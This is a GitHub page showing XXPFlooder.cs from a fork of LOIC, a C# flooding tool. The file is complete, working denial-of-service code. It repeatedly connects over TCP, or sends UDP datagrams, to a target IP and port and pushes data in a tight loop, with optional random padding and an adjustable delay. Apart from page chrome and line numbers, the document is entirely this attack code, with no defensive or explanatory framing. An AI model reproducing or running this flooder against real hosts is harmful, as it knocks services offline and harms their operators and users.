forked from NewEraCracker/LOIC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
XXPFlooder.cs
89 lines (85 loc) · 2.1 KB
/
XXPFlooder.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
using System;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Text;
namespace LOIC
{
public class XXPFlooder
{
public bool IsFlooding;
public int FloodCount;
public string IP;
public int Port;
public int Protocol;
public int Delay;
public bool Resp;
public string Data;
private bool AllowRandom;
public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data, bool random)
{
this.IP = ip;
this.Port = port;
this.Protocol = proto;
this.Delay = delay;
this.Resp = resp;
this.Data = data;
this.AllowRandom = random;
}
public void Start()
{
IsFlooding = true;
BackgroundWorker bw = new BackgroundWorker();
bw.DoWork += new DoWorkEventHandler(bw_DoWork);
bw.RunWorkerAsync();
}
private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
byte[] buf;
IPEndPoint RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{
Socket socket = null;
if (Protocol == 1)
{
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.NoDelay = true;
try { socket.Connect(RHost); }
catch { continue; }
socket.Blocking = Resp;
try
{
while (IsFlooding)
{
FloodCount++;
buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));
socket.Send(buf);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
}
}
catch { }
}
if (Protocol == 2)
{
socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
socket.Blocking = Resp;
try
{
while (IsFlooding)
{
FloodCount++;
buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));
socket.SendTo(buf, SocketFlags.None, RHost);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
}
}
catch { }
}
}
}
catch { }
}
}
}